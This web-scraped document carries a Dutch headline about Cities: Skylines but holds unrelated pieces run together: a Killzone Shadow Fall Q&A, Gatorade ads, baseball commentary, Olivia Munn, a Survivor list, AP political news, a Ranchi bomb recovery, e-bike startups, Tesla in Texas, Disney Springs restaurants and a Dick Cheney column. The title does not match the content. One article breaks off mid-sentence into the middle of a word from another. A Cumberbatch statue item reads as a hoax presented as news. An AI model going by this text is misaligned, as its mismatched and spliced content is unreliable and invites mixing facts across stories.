Cities: Skylines: Hoe begin ik een spel met winst?
0 reactiesAs Killzone Shadow Fall gears up for PS4’s 29th November launch in Europe, we caught up with Game Director Steven Ter Heide to get answers to your burning questions across single-player and multiplayer.
We reveal new details on co-op, dedicated servers, weapons, DualShock 4, and much more. Enjoy!
@ShawnMacLean: Is Killzone Shadow Fall a good entry point to the Killzone franchise? (source)
Steven Ter Heide: Absolutely! In many ways, Killzone Shadow Fall is a fresh start for the franchise — the game takes place some thirty years after the original Killzone trilogy, so most of the characters and story arcs from those games have passed into history. And while die-hard fans will appreciate the nods to earlier Killzone titles, no knowledge of the Killzone universe is required to get into the story. @nick_serio: How long is the campaign? (source)
STH: Killzone Shadow Fall’s campaign should last well over 10 hours for most gamers.
@DGuetta52: Will Killzone’s campaign be co-op? (source)
STH: No, the campaign will not have a co-op mode. However, we’re planning to release a separate Online Co-op Expansion Pack after launch; it will add a new wave-based game mode, in which up to four players take on hordes of enemies in special arena maps. For more information about the Online Co-Op Expansion Pack, please refer to our Season Pass announcement. @LB_Ed: Any plans for split screen support? Playing a game has always been more fun locally then online. (source)
STH: We currently have no plans for split-screen support. @Mr_Tom_B: Will Killzone Shadow Fall multiplayer run on dedicated servers, or peer to peer? Will there be peer-to-peer hosting at all? (source)
STH: We are running with dedicated servers to handle the transfer of data between clients.
@IronSir: How will the level system in multiplayer work? (source)
STH: We have a Challenge-based system, where completing one of the 1,500 Challenges will increase your rank by one. We will continue to add new Challenges after launch. @MrFredchr: Why did you choose to remove XP and levels? (source)
STH: Levels are part of the game, as completing one of the 1,500 Challenges increases your rank. However, we felt XP was less about skill and more about time, so we designed a new system with a greater emphasis on skill. @Fishrock123: Any news of vehicles in the multiplayer? (source)
STH: Killzone Shadow Fall multiplayer will not have any vehicles (such as Exoskeletons or Jetpacks) at launch. We wanted to ensure that player-created, custom Warzones work on all multiplayer maps, and the inclusion of vehicles would have introduced too many new variables and exceptions to guarantee this.
@BucktownzFinest: Since there are Warzones to join, does that mean there’s no standard matchmaking? (source)
STH: Not sure what you mean by standard matchmaking, but when you select a Warzone, the game will then look for a suitable match to join. @WilliamPeter417: How many weapons are available for customization for multiplayer mode? (source)
STH: Killzone Shadow Fall will have 22 weapons at launch, and pretty much all of them can be enhanced with various attachments. @HamseD: Since all the weapons are unlocked, what about the attachments? (source)
STH: Attachments are not unlocked by default – you can unlock them by completing Challenges. @TheWroster: How will the DS4 touchpad work in this game? (source)STH: For singleplayer we are using the touchpad to select the mode the OWL is in. It can be set into four different modes with quick swipes on the touchpad. For multiplayer, we use it to bring up menus.TBWA\Chiat\Day launched a new digital campaign with a series of online spots starring Houston Texans defensive end J.J. Watt, Washington Nationals right fielder Bryce Harper and 2016 NBA Rookie of the Year Karl-Anthony Towns Jr.
In the spots, announcers point out an individual casually enjoying a Gatorade without breaking a sweat. Then one of the athletes pops up to make the person “burn it to earn it.” In “D Up with Karl-Anthony Towns,” for example, he slaps a man’s Gatorade out of his hand. Then he gives him a basketball and once he’s broken a sweat, and been thoroughly humiliated by the 7 foot tall Timberwolves center, he’s allowed to have his drink back.
The approach is very similar to a digital campaign from two years ago featuring Rob Belushi, Peyton Manning and Cam Newton. It’s essentially a defensive approach, staving off criticism of the company for peddling sugar water with the concept that the drink is meant for athletes who have “earned” the sugar by burning calories.
“With sugar being such a hot topic of conversation, especially in the beverage space, we wanted to talk about it head on — that our product is for athletes, the sugar is functional. It’s in there for a reason, to help fuel athletes and we are actually proud of it,” Gatorade head of consumer engagement Kenny Mitchell explained to AdAge. “We just want to make sure folks are earning it [and] we wanted to make sure that message is clear.”
It also calls to mind a bit by the late comedian Mitch Hedberg, who said, “I’m thirsty for absolutely no reason, other than the fact that liquid has not touched my lips for some time. Can I have a Gatorade too, or does that lightning bolt mean no?”
With these spots and the similarly-minded earlier effort, the brand seems to be saying that no, you can’t. That approach is at least a little unusual in that it risks alienating a segment of the brand’s audience (namely, just thirsty dudes). But then that may be taking the ads a bit too seriously.
CommentsOne thing people don't understand about Adrian Gonzalez is that he lives on a planet where the only things that matter are his faith, family and the next day's starting pitcher.
He's not very polished when it comes to the media, doesn't understand the importance of public perception, and always speaks from his heart.
And bad things tend to happen whenever he's asked to offer an opinion, like earlier this week when he headed over to ESPN to talk about the state of the Sox.
He had to know going in that there would be inquiries about the starting pitchers' dietary habits, but instead of having a canned answer prepared – where is the team's public relations department in all of this? – he spoke candidly.
"We just didn't play good baseball," Gonzalez said of the Red Sox' September collapse. "People gotta eat, whether it's chicken or steak."
Cue the talking heads:
"Gonzalez is selfish."
"He doesn't get it."
"He only cares about stats."
Those are just some of the things that have been said about Gonzalez throughout the media over the last few days.
I agree his comments were absolutely asinine and completely out of touch. A simple, "We have to play better and things must change," would have played much better, but the only thing Gonzalez is guilty of is being an aloof superstar.
I mean, we are talking about a guy that initially blamed God and ESPN for the team's collapse in September.
But to suggest that Gonzalez only cares about personal performance is a ridiculous statement. In fact, I don't even understand it means.
If hitting.338/.410/.548 with 27 homers and 117 RBIs and playing premium defense equates to only caring about stats, give me nine of those guys and we'll win the World Series each year while our pitchers suck drumsticks on the mound.
This isn't football. You can't decide that there's no way you are going to lose the game, dig down deep for something extra, and then will your team to victory.
Caring about winning in baseball means staying in shape and being mentally prepared to perform and then doing so. That's exactly what Gonzalez did last year.
So what if he's never going to be a rah-rah guy like Dustin Pedroia or a lovable fan favorite like David Ortiz? Change your expectations and you won't be disappointed.
Gonzalez isn't a leader in the classic sense and he's going to say some weird stuff from time-to-time. I don't think it's coming from a bad place. He's just oblivious to the climate and scrutiny surrounding him and the team.
I can live with that as long as he's putting up great numbers and not causing problems in the clubhouse, and by all accounts he's a great teammate. His comments to ESPN even can be taken as example of that.
He could have easily thrown a few people under the bus, but didn't. His teammates probably love him for saying what most of them are thinking.
Still, it's probably a good idea for Bobby Valentine to take a page from Bill Belichick's book and tell him to shut up so people can just focus on his game.
After all, we wouldn't want people thinking he only cares about himself.Olivia Munn had no problem standing up to directors while starring in HBO's "The Newsroom" -- and neither did the show's creator and writer, Aaron Sorkin.
In a conversation with HuffPost Live on Wednesday, Munn expressed her disdain for when "Newsroom" directors would ask her to "take the girly route" and "smile and smirk." But when the actress would refuse to adhere, Sorkin was a loyal ally.
"He was like, 'One hundred percent not. Do not,''" she recalled, "and we were always on the same page and then he would come up and back me right away."
"When you have him backing you -- that meant everything," she added.
The 34-year-old, who stars alongside Johnny Depp in the upcoming "Mortdecai," recalled a specific occasion in which a director felt she wasn't being flirty enough as the girlfriend of Don, her onscreen beau (played by Thomas Sadoski).
"One director pulled me aside and said 'Olivia, the thing is, I'm the director, so I have to look at the entire rainbow [...] and you're bringing something but I don't think you realize maybe how you're coming off,'" she recounted. "... I go, 'Oh, so do you don't think I realize how my choices are coming off? [...] How am I coming off?"
The actress rejoiced when the director replied "aggressive."
"I go 'Great! That's exactly what I wanted,' and that was it!"
Munn, who felt that the directors were neglecting "the other two seasons" as well as her character, saw the representation they were asking for to be both demeaning and inaccurate.
"I felt like, just because you're in a relationship doesn't mean you have to start being like, all giggly and girly," she said. "... I've [heard] from a lot of women telling me 'I'm happy you didn't become all mushy and soft and become one of those women who gets weird when they're in a relationship."
Watch more from Olivia Munn's conversation with HuffPost Live here.
Sign up here for Live Today, HuffPost Live’s morning email that will let you know the newsmakers, celebrities and politicians joining us that day and give you the best clips from the day before!Survivor Oz Top 10 – Top 10 ‘Old School’ Players that Should Play a Second Time
Happy Wednesday S'Ozers, and that means its time for another top 10. In the spirit of the upcoming season of Second Chances, this week Noah Groves shares his list of players that should return for a second time, with his picks from the first 10 seasons of the game. There's no doubt there's plenty of potential on this list but what other 'old school' contestants would deserve a second chance on the Survivor merry go round? Share your thoughts with a comment below!
10. Tammy Leitner – Marquesas
I feel like Tammy is an often overlooked player in Marquesas, overshadowed by her ally John, she truly was the full package though. A strong challenge player, winning multiple challenges, a player with signs of a strong strategic game all while being an entertaining character and looks to top it off. Unfortunately not a lot of people probably remember her but I would imagine that Tammy’s second game would be much stronger, learning from her mistakes of the past and expanding on her already decent game. #Tammywasrobbed
9. Sean Kenniff – Borneo
One of the originals, the cast of Borneo is so good that you could almost put anyone from that season on the list. No seriously Greg, Colleen, Joel, Gretchen and Ramona would all be great to see back. Sean, along with Greg and Rudy is one of the first big characters in Survivor and gave us many a memorable moment, from Superpole 2000 and the alphabet strategy through to the esteemed beach bowling alley. Would Sean have learnt from his alphabet strategy to a more refined way of plying the game or would he try and continue going down each letter? Regardless Sean would be sure to provide more memorable moments in a future season and is a worthy returnee.
8. Christy Smith – The Amazon
Christy is the first of two deaf contestants to play the game and was one of the most notable players in The Amazon. Her storyline of trying to fit in and struggling to play the game added a new human element and different take on Survivor that mixed things up without feeling gimmicky. Christy wasn’t the best player but she did attempt the game and was a fantastic character, giving many funny or insightful confessionals. Christy was relatively young when she first played and given time to mature Christy would no doubt be a very different person when returning. Given the recent early ousting of Nina in Worlds Apart, Christy could have something to prove for the deaf contestants to show that those with a disability can still succeed in making it far.
7. Burton Roberts – Pearl Islands
Burton has technically already had his second chance in the game when he returned thanks to the outcast twist in his season. But the improvement of his game was particularly noticeable, clearly learning from his mistakes and playing much calculated than before. Initially I was not a Burton fan but on subsequent watches of the season he does shine as a character. I am not sure if Burton could ever win the game but I would imagine he would play an all-round strong game in the social, physical and strategic aspects of Survivor. If Andrew Savage proves to be a success in Survivor: Second Chance then perhaps we could see some more old school players, and in particular Pearl Islands players return to Survivor.
6. Theresa Cooper – Africa
Man oh man, we were so freaking close to having T-Bird back on Survivor. I still don’t know if I have gotten over it yet…T-Bird was robbed! To be completely honest T-Bird was never really on my radar for people I want to see return but when I saw her name on the Second Chance candidate list it made so much sense, of course Teresa is a worthy returnee! Maybe it was because I had just accepted the fact that it would never happen, so the shock of it being a real possibility was a pleasant surprise. T-Bird was an amazing character in Africa and outside of the triad of Lex, Ethan and Big Tom, she was the highlight player of the season. T-Bird so desperately wants to play the game again and if she did, this determined drive would no doubt flood into her game and make her a worthy opponent. CBS needs to make up for T-Bird missing out on Survivor: Cambodia-Second Chance and get her back on the show asap, for the love of Frank Garrison we NEED to have T-Bird back to make up for this post live reveal blues that every Survivor fan is sure to be feeling.
5. Chris Daugherty -Vanuatu
Chris is one of the three winners of the first ten seasons not to play the game for a second time and it is quite baffling why that is. Easily the star of Vanuatu and one of the biggest underdogs the game has ever seen, not only is Chris a dominant social, strategic and physical player but he is also one of the funniest guys to ever be on the show and a brilliant character. Admittedly there haven’t been many options for Chris to return, with Heroes vs Villains and Blood vs Water being the only options he could realistically have been back. Regardless Chris is still an amazing character who will be fondly remembered in the Survivor canon and is someone who many a fan want to see attempt to strut his stuff a second time around.
4. Sean Rector – Marquesas
Sean is another Marquesas contestant making it on to the list and another player who really should return to the game. Even though he is a big fan favourite, it is slightly surprising that Sean didn’t make it on to All Stars over Boston Rob and personally I believe Sean to be the superior character of the two. Sean is hilarious in every scene that he is a part of and is an influential player during the beginning, middle and end of the game. Sean is perhaps one of the most likeable and genuine person to play the game and is arguably the greatest African American male contestant who hasn’t returned. Sean still has so much potential for what he can bring to Survivor and joins a long list of Marquesas players who should or could return.
3. Brian Heidik – Thailand
Winner number two to make the list, Brian Heidik is a frequent Survivor Oz guest who has said he wants to play the game again…so let’s grant his wish CBS! Mr Freeze is one of the best players to ever play Survivor and deserved a spot on the original All Stars. There seemed to be some sort of issue with money or something but it is still to this day sad to see he wasn’t a part of it. Over time Brian has fallen out of the public eye and has had some issues that have damaged his reputation (even more so than the porn) but does Survivor production and CBS really care about that if it means producing good television to watch. Brian is one of those winners who I believe could win for a second time due to his minimal appearances in the public eye, his charm that he has maintained and his detailed knowledge on the game and how to play people. Brian Heidik would promise to deliver on a second time around.
2. John Carrol – Marquesas
Like T-Bird, John so very much wants to return to play the game. Survivor: Second Chance would have been the most perfect season for him to return to out of all the returning player seasons that have aired. Despite being the first member of the jury he played extremely hard and was one of the strongest |
prehensible delight, Lana accepted an invitation to our show in New York City and thus I took her, ‘fashion show virginity.’ Lana’s ineffable beauty captured by David in this portrait reminds me of the personal sentiment she shared with me about, ‘learning you can make important friends at anytime in your life.’ ”
Jacobs, of course, is no stranger to casting famous personalities in his ads. His first-ever campaign starred Sonic Youth’s Kim Gordon, while just last Fall he rounded up the women and men who have inspired him most over his career, a list encompassing everyone from Cher to Sofia Coppola. Wachowski’s appearance this season carries extra weight, however, as it represents a positive step for transgender visibility, something fashion has embraced on runways and in photo shoots, but less in its commercial advertising. The last high fashion brand to feature a trans model in its campaigns so prominently was Givenchy, who centered several ads around Lea T in 2010. Watch this space to see which other brands follow Jacobs’s lead.
Watch the Marc Jacobs Spring 2016 ready-to-wear show:Fans around the world have reacted with delight to news that a provocative Benedict Cumberbatch effigy is to be unveiled at St Bart's hospital in London, to commemorate the Sherlock star's dramatic plunge there at the end of Season Two.
Airline price comparison sites including Skyscanner and FareCompare reported a 57% surge in online bookings to London ahead of the statue's unveiling this July.
Meredith Holmes, head of the London Tourism Authority, hailed the estimated £3million boast to the economy that the onslaught of Cumberbatch fans - commonly referred to as "Cumberbitches" - is expected to bring to the capital.
"It's particularly exciting that the sculpture's unveiling will coincide with the first birthday of Prince George," she commented. "Two of Britain's greatest exports will be celebrated at the same time."
The bronze-encased sculpture is being commissioned by the National Trust, in association with emerging street artist Bono Laduree. Laduree hopes to bring a contemporary twist to the artwork, describing it as "Banksy meets Auguste Rodin with Sherlock thrown in."Trump returns to GOP panic. Will he try to push Moore out?
CORRECTS DATE TO TUESDAY, NOV. 14, 2017- President Donald Trump arrives at Andrews Air Force Base, Md., Tuesday, Nov. 14, 2017, to board Marine One for a short trip to the White House. Trump returns from a five country trip through Asia traveling to Japan, South Korea, China, Vietnam and the Philippines. (AP Photo/Andrew Harnik)
WASHINGTON (AP) — President Donald Trump spent five days in Asia largely keeping the Alabama Senate scandal at bay. He won’t be so lucky on U.S. soil.
The president returned to Washington on Tuesday night and walked straight into a party panic over the sexual misconduct accusations dogging GOP Senate candidate Roy Moore. Having pushed publicly and privately for Moore to get out of the race, Republicans believe their last best shot is Trump, who they hope can persuade his fellow political rebel to fall in line.
Trump has given little indication of whether he’s interested in playing the role of party heavy. Press secretary Sarah Huckabee Sanders has echoed other Republican leaders, saying last Friday that Moore should step aside if the allegations are true. But as other Republicans began to call for Moore to quit the race, Trump was notably silent in public. On Tuesday, he didn’t address the issue when he spoke with reporters aboard Air Force One as he flew back to Washington, nor did he respond to shouted questions about Moore as he entered the White House that night.
For Trump and Republicans, there are no good options. If Moore wins, they can either spend an already harrowing midterm election cycle defending their new colleague, or overturn the will of Alabama voters by casting him out of the Senate. If Moore loses and the seat flips to Democratic control, the party loses a critical vote in its razor-thin Senate majority, with issues like tax reform and immigration set to be considered in the coming months.
“I have to get back into the country to see what’s happening,” Trump told reporters over the weekend as he flew from Danang, Vietnam to Hanoi during his five-nation tour of Asia.
But behind the scenes, he was vexed by the issue. In an interview with the Wall Street Journal on Tuesday, Senate Majority Leader Mitch McConnell said Trump had been involved in dealing with the Moore situation “in great detail” during the trip. McConnell said he and Trump discussed the question on Friday, with chief of staff John Kelly and Vice President Mike Pence weighing in on subsequent days.
Trump’s 12-day trip, the longest of his presidency, was quickly overshadowed at home by the shocking accusations of sexual assault on minors by Moore, who was embraced publicly by the White House last month after winning the state’s GOP primary.
The revelations dominated cable news for days, as Moore denied the allegations and pledged to stay in the race.
Even Chinese President Xi Jinping was drawn in. “Who is Roy Moore?” Xi asked Trump privately after they delivered joint statements to reporters, in a moment described by two White House officials not authorized to speak publicly about private conversations.
GOP officials cautioned that the actions of Washington Republicans, including the president, were unlikely to affect Moore’s decision-making — and that any moves against him could backfire in an anti-establishment political environment.
The president backed Moore’s unsuccessful rival, Sen. Luther Strange, in the Republican primary. Moore has the backing of Trump’s former chief strategist, Steve Bannon. And Bannon’s conservative news site, Breitbart, has led the charge in trying to discredit the allegations against Moore.
One person familiar with the president’s thinking said Trump has been slow to call for Moore to exit the race in part because he risked embarrassment if, as expected, Moore defied him.
On Tuesday, the Republican National Committee halted its efforts on Moore’s behalf, following similar action by the National Republican Senatorial Committee on Friday. Three Republicans familiar with the RNC’s decision, but not authorized to discuss it publicly, said Trump signed off on the move to cut Moore loose.
Moore was already a pariah among national Republicans even before the recent allegations of inappropriate contact with minors. A twice-removed state judge, Moore’s anti-gay and anti-Muslim rhetoric have long repelled the GOP mainstream.
McConnell has openly floated the possibility of having Attorney General Jeff Sessions, whose move from the Senate to the Cabinet necessitated the special election, run for his old seat as a write-in candidate.
A source close to Sessions says he has told friends he is not interested in returning to the Senate.
___
Associated Press writers Jonathan Lemire and Alan Fram contributed to this report.Last updated on: November 04, 2013 21:47 IST
In the backdrop of alleged involvement of a 'Ranchi module' of Indian Mujahideen in the October 27 serial blasts near a Bharatiya Janata Party rally in Patna, police on Monday recovered nine live bombs matching those found in Patna from a lodge at Hindpiri in Ranchi.
Additional Director General of Police S N Pradhan said the explosives were recovered by local police, who have been following a lead for the past two days.
Police also seized 19 gelatin sticks and two clocks fitted to the bombs, Inspector General of Police (Zonal) M S Bhatia said.
Each bomb consisted of three pipe elbows, he said, adding the explosives were recovered from a booked room in the lodge.
The recovery of the bombs comes close on the heels of the arrest of Ujjair Ahmad from Doranda locality here on October 30 in connection with the Patna serial blasts.
Another accused Imitiaz Ansari arrested in connection with the Patna blasts also belongs to Ranchi, while the prime suspect Ainul alias Tarique who died at Indira Gandhi Institute of Medical Sciences hospital in Patna on October 31 night following fatal injuries, hailed from the Jharkhand capital as well.
A total six people, including Tarique were killed in the serial blasts which left more than 80 injured.
Police had earlier claimed that Indian Mujahideen had set up a 'Ranchi module' and had sent a proposal to Jharkhand government urging sanction in setting up an anti-terrorist squad to contain terror acts.
Image: A Google map of Hindpiri, RanchiOne big question for the two startups isn’t who came up with the idea for the wheel, but whether anyone is going to buy it. The FlyKly (above) is $590.
So who really reinvented this bicycle wheel?
Two startups unveiled high-tech bicycle wheels within weeks of each other in October that both said would revolutionize cycling.
As for their specialized, battery-backed wheels, well, they look oddly similar. Both have a striking number of the same features, too. And both upstarts profess to use groundbreaking technology that can turn most any standard bike into a hybrid e-bike controlled with the touch of a smartphone.
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A moment of cycling serendipity? Or is there something amiss here?
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Those questions have been cropping up with increasing frequency on Facebook pages and on cycling blogs around the world as these two startups — one in Cambridge, the other in New York — race to become the first to market with sleek, motorized wheels that provide a burst of power to get riders through tough slogs.
Related Links Graphic: A look at the wheels
It’s a two-wheel battle of the startups, and each is competing for the attention of the smartphone-toting urban cyclist.
The local contender, Superpedestrian Inc., grew out of the Massachusetts Institute of Technology’s SENSEable City Lab and plans to begin shipping its Copenhagen Wheel this spring. The company’s founder, Assaf Biderman, is associate director of that MIT lab and has been working openly on the design of the electric wheel since about 2009.
Then there’s Niko Klansek, founder of FlyKly Inc., a company that previously sold fully electric-powered bikes. An entrepreneur from Slovenia who resides in New York City, Klansek debuted his company’s Smart Wheel on the crowdfunding site Kickstarter in October and raised $701,239 to fund its production.
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Neither wheel is on the market or in bike shops yet, but both companies are accepting online pre-orders before the products become available next year.
Superpedestrian’s wheel costs $699.
The promise that Biderman and Klansek are both selling is pretty much the same. The rear wheels attach to most standard bicycle frames and come equipped with batteries and a small motor — all enclosed in a disc — that kick in to assist cyclists when they need help the most, such as going up hills.
Much like a hybrid car, the wheels can capture and store energy when a cyclist is flying down a hill.
The wheels also have a wireless connection to smartphones apps that lets riders track their routes or lock and unlock their bikes.
Sounds kind of the same, right?
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That’s what Biderman thought when he heard about the FlyKly Kickstarter.
“When I saw that thing, I was like, that looks awfully similar to the Copenhagen Wheel,” Biderman said. “It’s hard for me to say if he’s infringing on our patents because I haven’t seen the inside of it. From the outside, it looks extremely similar.”
(Patents, filed by MIT and licensed to Superpedestrian, are pending.)
Biderman has his suspicions about FlyKly because Klansek came to MIT SENSEable City Lab last year and met with the team working on the Copenhagen Wheel.
“Afterward, he disappeared, and we later found out about the Kickstarter campaign,” Biderman said.
The technology inside the Copenhagen Wheel has been under development for four years, and Biderman does not believe it can be easily copied. Copying the idea, he said, is another matter altogether.
“I can tell you with certainty that this person came to us, and he was inspired by the wheel,” Biderman said.
That’s not the case, Klansek said in a telephone interview from Slovenia, where he is working on his project.
Yes, he did go to MIT, but not to snoop around, nor did he swipe their ideas.
“The idea to have a motor, battery, and electronics inside the rear wheel is old,” said Klansek, who has been involved in related bike technology for several years. But technology has advanced so much that riders can adjust and control lighter electric wheels with smartphones, he said.
Klanske said he has been working on the Smart Wheel concept over the past few years, looking for an easy solution for turning regular bikes into e-bikes. He was aware that MIT’s wheel debuted at the Copenhagen Conference on Climate Change in 2009 and has since been the subject of numerous high-profile articles and blogs. The wheel was even featured on an episode of Showtime’s “Weeds” in 2011.
Klansek said he figured the Copenhagen was a prototype that was stuck in the lab and wouldn’t make it to market, which he said was reinforced by his trip to Cambridge.
“I got the feeling that there was nothing going forward, so I thought they had forgotten about this project,” Klansek said.
While many similarities exist between the Copenhagen Wheel and the Smart Wheel, there are technical differences. For instance, the FlyKly wheel is lighter; the Copenhagen Wheel uses more powerful batteries.
So far, this debate hasn’t moved from the Web to the courtroom. And it’s possible it never will, said Dave Hurst, an analyst at Navigant Research who follows the e-bike market. “I doubt there will be many suits that follow just because no one has any money here.”
What’s more, Hurst said, other bicycle companies have also come out with similar wheels that enclose motors and batteries inside discs.
The real question for these two startups isn’t who came up with the idea for the wheel, but whether anyone is going to buy it. The FlyKly is $590, and Superpedestrian’s wheel costs $699.
“Your average hipster that’s using a single-speed bike to commute to work — I have a hard time seeing them being convinced to spend $700 for one of these,” he said.
“Even if it takes off, clearly these aren’t going to be huge sellers.”
Michael B. Farrellcan be reached at michael.farrell@globe.comTesla proposal to sell cars directly to buyers dies in Legislature
Keep going for a look back at other things banned by Texas and Texas cities. less A pair of bills backed by Tesla Motors died in the Texas Legislature Monday. They proposed allowing auto manufacturers to sell vehicles directly to consumers.
Keep going for a look back at other things banned by... more A pair of bills backed by Tesla Motors died in the Texas Legislature Monday. They proposed allowing auto manufacturers to sell vehicles directly to consumers. Photo: Tyler Sizemore, Staff Photographer Photo: Tyler Sizemore, Staff Photographer Image 1 of / 22 Caption Close Tesla proposal to sell cars directly to buyers dies in Legislature 1 / 22 Back to Gallery
A pair of bills backed by Tesla Motors died in the Texas Legislature on Monday at the end of a rancorous session.
The company had supported legislation introduced in the state House and Senate in March that would have allowed automakers to sell vehicles directly to drivers. That business model has long been prohibited in Texas, which requires consumers to buy cars and trucks through franchised dealerships.
The company has tried twice before to dismantle such regulations with narrow exemptions for manufacturers like itself. This time, it tried a broader approach that would have allowed all types of manufacturers to engage in direct auto sales.
"Once again, the legislature failed to act on Texans' demands for 21st century car-buying options, meaning the state will continue to fall behind and lose out on valuable economic development opportunities," the company said in a statement.
State Rep. Jason Isaac, R-Dripping Springs, introduced the bill in the House. State Sen. Bob Hall, R-Edgewood, filed the companion bill.
RELATED: Tesla's latest Texas proposal would let all carmakers sell directly to customers
Such proposals face deep opposition from Texas auto dealerships, which insist that consumers benefit from laws that grant them exclusive rights to supply vehicles to drivers.
The company suggested that the fight isn't over. It has for years fought to roll back regulations in states where direct-to-consumer sales are prohibited.
"We will continue to advocate for fair, common-sense reforms that will allow Tesla to invest in Texas and provide consumers the same choices car-buyers in nearly every other state enjoy," the company said.35 SHARES Facebook Twitter
Local food blogger Scott Joseph has confirmed the details of three new venues coming to The Landing district at Disney Springs. All three venues have had various names through their development, but the final names are Maria & Enzo’s Ristorante, Enzo’s Hideaway Tunnel Bar, and Pizza Ponte.
Maria & Enzo’s Ristorante is said to be an Italian trattoria that took over an abandoned airline terminal. The menu will have a Sicilian accent, with handmade pastas, Arancini di Carne, and Melanzane Parmigiana.
Enzo’s Hideaway Tunnel Bar occupies the rum runner tunnels under Maria & Enzo’s. It will feature Prohibition-style cocktails and serve a menu of italian dishes.
Pizza Ponte will be a fast-casual concept with pizza, Italian sandwiches, and pastries.
The location of the new restaurants is the space next to The Edison.
All three restaurants are said to be opening by the end of this year.Dick Cheney rolls in his grave / Of course, he's not actually dead. He just wishes you were
Did you feel that? That sickly sort of rolling wave, that disquieting, genital-shriveling temblor of seething grumpiness that swept through the land and made dogs spasm, trees shudder and giant SUVs spit oil and misfire?
You might've missed it. It happened just after Bill Clinton returned from his rather astonishing rescue mission to North Korea, two exhausted, grateful, grinning, tearful young American female journalists in tow, Al Gore standing by with a giant smile and President Obama and much of his administration off in the wings, nodding approvingly, as the entire nation found itself a bit dumbfounded at the calm and rather effortless brand of new, intelligent, humble, hugely effective humanitarian patriotism on display here.
The churning, teeth-grinding rumble of disquiet? It was coming, of course, from Dick Cheney.
(Author note: From here on out, the phrase "Dick Cheney" shall hereby refer not merely to the former vice-president himself, but also to the sour, clenched worldview he so perfectly encapsulated and still so lovingly represents.
Dick Cheney is a lexical wonder. He can be a violent action verb: "Dude I just Dick Cheney'd that squirrel with my F-150." He is a dark intention: "Let's pull a Dick Cheney on that queer kid in the locker room." He is, most of all, a state of being, a mindset, a fixed position of general disgust. "Sorry lady, I can't save you from this burning building. I'm far too Dick Cheney to give a damn." Clear? Excellent. Let's continue).
See, I'm guessing Dick Cheney the man/mindset was none too pleased at the recent turn of news events. I imagine Dick to be right now re-watching the various video clips of the North Korea fiasco, scowling deeply at the silly/surreal photos of Clinton seated next to -- and towering over -- little Kim Jong Il, the former a natural statesman and the latter trying like hell not to look like some sort of scruffy hunk of semicomatose lint.
Dick is right now hurling his razor-filled oatmeal at the TV screen, wondering just what the hell happened to the true-blooded, trigger-happy, America-as-a-clenched-fist country he worked so hard to devolve and decimate and turn into a giant itchy shotgun. Sending a former president to talk with this pipsqueak terrorist? Giving a nuke-happy dictator a face-saving photo op on the NYT? Dick despises every goddamn liberal hippie second of it.
See, what Dick would've done is, Dick would've marched right in to Pyongyang -- or rather, let some unlucky Marines march over there -- with a few nukes, about 50 tons of C4 and a squadron of fighters, and shown that wobbly pipsqueak tyrant the what what.
Oh sure, an insane, intractable pseudo war with a destitute, pathetic country like North Korea would've been a disaster in roughly 1,000 ways. Who the hell cares? Dick would've made a fortune. He and his hawk buddies would've never let America look so weak in the eyes of dismal tyrants the world over as Obama and Clinton just did -- no matter how well it worked, no matter that it might lead to renewed talks about shutting down N. Korea's nuke program, no matter that the two reporters are now home safe and happy, and it didn't cost the U.S. hundreds of billions, waste soldiers lives and earn us the hate and disrespect of the planet. Dick wants none of that crap.
Former U.N. Ambassador and noted hunk of anger meat John Bolton was quick to parrot the Cheney worldview in a hissing little Op-Ed in the Washington Post, saying the entire rescue reeked of American wimpiness, of dangerous, kowtowing diplomacy, when what we should be doing is saber rattling and making macho threats and maybe bombing a few hundred thousand innocent civilians to death to make some sort of point. Hey, it worked in Iraq! Oh wait.
Dick Cheney reminds us of one thing: this is a perfect moment to reflect. It is a moment to pause, take a look around and offer a giant heap of gratitude and a huge dose of awe for just what it is that Barack Obama hath wrought.
It is a moment, mainly, to compare governing styles, dominant political attitudes, the directions and worldviews of two very, very different Americas: The one Dick so brutally represented and drove like an ice pick so deeply into the national heart, and the one President Obama is now working to unravel, redirect, heal.
The difference is staggering. See, right now the kill-'em-all-and-let-God-sort-'em-out crowd is utterly disgusted that President Obama clearly has zero qualms about taking a notch or five out of bedpost of American machismo bulls--t, about swiping the cancer stick from the mouth of the long dead Marlboro Man and replacing it with something like integrity, calm words of wisdom, tact.
To the Cheney metaverse, this is a disgusting and shameful way to do America's business. With the North Korea situation, we didn't come out looking like sweaty, bulbous titans. There was no red-faced screaming, no flag-draped caskets. Most of all, America didn't get to thump its chest. And if America can't thump its chest and pull out the biggest gun and let the world know who's still boss, well, America has no power whatsoever.
Who the hell wants to be known for demonstrating peaceful, effective humanitarianism and calm diplomacy, and saving human lives if it makes us look like a bunch of weak-kneed pansies? Where is the glory? Where's the firepower? Image is everything. Strut the plumage. Carry the biggest stick. In Cheneyland, sneering intimidation is not only useful, it's vital. There is nothing else.
Or maybe not. Maybe the Obama Way is already turning out to be far more effective, more subtle and intriguing, and much more in America's favor, as tyrannical psychopaths like Kim Jong Il are stupefied into compliance by even the pretense of being taken seriously by the Great Satan, and sane world leaders across the globe finally see a country they can deal with intelligently on pressing matters instead of merely joining them at the gun range to blast stuff to hell.
You might say Dick is not pleased. In fact, Dick Cheney -- and the entire hawkish, antagonistic worldview he embodies -- is downright furious at this country's dangerous new direction. Which, in its way, just might be the best news I've heard all year.
Mark Morford's latest book is 'The Daring Spectacle: Adventures in Deviant Journalism'. Join Mark on Facebook and Twitter, or email him. His website is markmorford.com. For his yoga classes, workshops and retreats, click markmorfordyoga.com.
Mark's column appears every Wednesday on SFGate, and is frequently cross-posted to Huffington Post. To join the notification list for this column, click here and remove one article of clothing. To get on Mark's personal mailing list, click here and remove three more.
This column also has an RSS feed and a very handy archive page.Sometimes it will just be one movie. Sometimes it will be as much as a six-hour viewing session.
That's how much Bo Scarbrough likes the Lifetime channel. Most probably think of Lifetime's programming as being geared toward women. Not Scarbrough.
Alabama's sophomore running back, the 6-foot-2, 230-pound freakish athlete that just ran for 180 yards during the Tide's Peach Bowl win over Washington, doesn't like watching ESPN or other sports channels. For Scarbrough, Lifetime serves as a mental break from football, something that's been important at times the last two years due to injuries and the pressure that comes along with being a former five-star recruit known to many as "The next Derrick Henry."
"If you watch one show on there, you're going to want to watch another one," said a smiling Scarbrough, who is especially a fan of Lifetime's murder mysteries. "My family gets mad at me sometimes. They'll be watching football, and I'll come in and flip the channel to Lifetime. It's my getaway from football time."
'It was a lot of pressure'
The comparisons to Henry started last year. Even former teammates have referred to Scarbrough as "The next Derrick Henry."
It's easy to understand why.
